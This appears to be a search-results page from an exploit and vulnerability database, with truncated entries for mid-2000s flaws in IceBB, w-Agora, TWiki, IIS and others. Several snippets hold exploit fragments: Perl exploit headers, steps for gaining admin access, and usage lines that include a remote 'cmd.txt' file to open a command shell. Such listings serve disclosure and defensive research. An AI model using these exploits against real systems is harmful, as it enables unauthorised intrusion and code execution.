1684 matches found
IceBB 1.0-rc5 Remote Create Admin Exploit
Exploit for unknown platform in category web applications ========================================= IceBB 1.0-rc5 Remote Create Admin Exploit ========================================= !/usr/bin/perl IceBB 1.0-rc5 Remote Create Admin Exploit 1. register a user 2. run this exploit with this usage :...
IceBB 1.0-rc5 - Remote Code Execution
!/usr/bin/perl IceBB 1.0-rc5 Remote Code Execution Exploit 1. register a user 2. run this exploit with this usage : $perl xpl.pl host&path uname pass 3. login with admin access : Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use LWP::UserAgent; use HTTP::Cookies; $port = "80"; $host =...
DenyHosts: Denial of service
Background DenyHosts is designed to monitor SSH servers for repeated failed login attempts. Description Tavis Ormandy of the Gentoo Linux Security Audit Team discovered that DenyHosts used an incomplete regular expression to parse failed login attempts. Impact A remote unauthenticated attacker ca...
yaplap 0.6.1b - ldap.php Remote File Inclusion
yaplap 0.6.1b - ldap.php Remote File Inclusion !/usr/bin/perl yaplap Remote File Inclusion Vulnerablity Version 0.6 & 0.6.1 Class = Remote File Inclusion Bug Found & Exploit coded By DeltahackingTEAM Dr.Trojan&Dr.Pantagon...
TWiki失败登录信息泄露漏洞
TWiki是一款流行的基于WEB的百科全书程序。 TWiki处理失败登录存在问题，远程攻击者可以利用漏洞访问受限制的标题。 当站点设置为如下： 1，如果ErrorDocument 401设置指向TWikiRegistration标题或者任意TWiki标题并且 2，使用TWiki-4.0的ApacheLogin和会话起用，或者使用SessionPlugin的早期TWiki版本，并且 3，运行了Apache 1.3。 那么可使用如下方法进行测试： 1，在左边栏点'Login'连接 2，输入合法用户名，但错误的密码 3，点"ok" 4，如果Apache重提示，再输入相同用户名和密码...
CVE-2006-6229
Codewalkers ltwCalendar aka PHP Event Calendar before 4.2.1 logs failed passwords, which might allow attackers to infer correct passwords from the log file...
CVE-2006-6071
TWiki 4.0.5 and earlier, when running under Apache 1.3 using ApacheLogin with sessions and "ErrorDocument 401" redirects to a valid wiki topic, does not properly handle failed login attempts, which allows remote attackers to read arbitrary content by cancelling out of a failed authentication with...
CVE-2006-6229
Codewalkers ltwCalendar aka PHP Event Calendar before 4.2.1 logs failed passwords, which might allow attackers to infer correct passwords from the log file...
CVE-2006-6071: Undefined Security Weakness
TWiki 4.0.5 and earlier, when running under Apache 1.3 using ApacheLogin with sessions and "ErrorDocument 401" redirects to a valid wiki topic, does not properly handle failed login attempts, which allows remote attackers to read arbitrary content by cancelling out of a failed authentication with...
FreeBSD 6.1 (/dev/crypto) Local Kernel Denial of Service Exploit
Exploit for bsd platform in category dos / poc ================================================================ FreeBSD 6.1 /dev/crypto Local Kernel Denial of Service Exploit ================================================================ // Evgeny Legerov elegerov.blogspot.com include unistd.h...
AnnuaireSQL.txt
!/usr/bin/perl Affected.scr..: Annuaire 1Two 2.2 Poc.ID........: 09060902.txt Type..........: SQL Injection without quote Risk.level....: Medium Vendor.Status.: Unpatched Src.download..: http://www.1two.org/ Poc.link......: acid-root.new.fr/poc/09060902.txt Credits.......: DarkFig use...
OS Security Patch Assessment Failed
OS Security Patch Assessment is not available for this host because either the credentials supplied in the scan policy did not allow Nessus to log into it or some other problem occurred. TRUSTED...
w-Agora <= 4.2.0 (inc_dir) Remote File Include Exploit
Exploit for unknown platform in category web applications ====================================================== w-Agora perl wagora.pl http://target.com/w-agora/ http://target.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd;...
CVE-2006-2750: Undefined Security Weakness
Cross-site scripting XSS vulnerability in the domysqlquery function in core.php for Open Searchable Image Catalogue OSIC before 0.7.0.1 allows remote attackers to inject arbitrary web scripts or HTML via failed SQL queries, which is reflected in an error message...
knowledgebase.pl.txt
!/usr/bin/perl KnowledgebasePublisher 1.2 Remote Code Execution Exploit Bug Found By uid0 c 2006 ExploiterCode.com usage: perl knowledgebase.pl perl knowledgebase.pl http://site.com/knowledgebase/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; hai to: nex, kutmaster,...
Plogger exploit method! - Vulnerability warning-the black bar safety net
http://www.hackeroo.com/Plogger 是 一 款 基于 PHP 的 网络日记 程序 the. Plogger does not filter the user submits the URI of the data, exploit vulnerabilities in the WEB permissions to execute arbitrary commands. Vulnerability in'plog-admin-functions.php'script for user-submitted'configbasedir'parameter is no...
Microsoft IIS - HTTP Request Denial of Service (1)
/ Microsoft IIS 5.1 Remote D.o.S Exploit by Kozan Application: Microsoft IIS Internet Information Server Vendor: Microsoft - http://www.microsoft.com/ Discovered by: Inge Henriksen Exploit Coded by: Kozan Credits to ATmaCA, Inge Henriksen Web: www.spyinstructors.com Mail: [email protected]...
Business Objects WebIntelligence 6.5x Account Lockout and System DoS
Computer Sciences Corporation Security Advisory December 14, 2005 Summary: CSC have discovered an issue that could impact upon the availability and security of servers operating Business Objects WebIntelligence software. If a remote malicious attacker is able to access authentication mechanisms...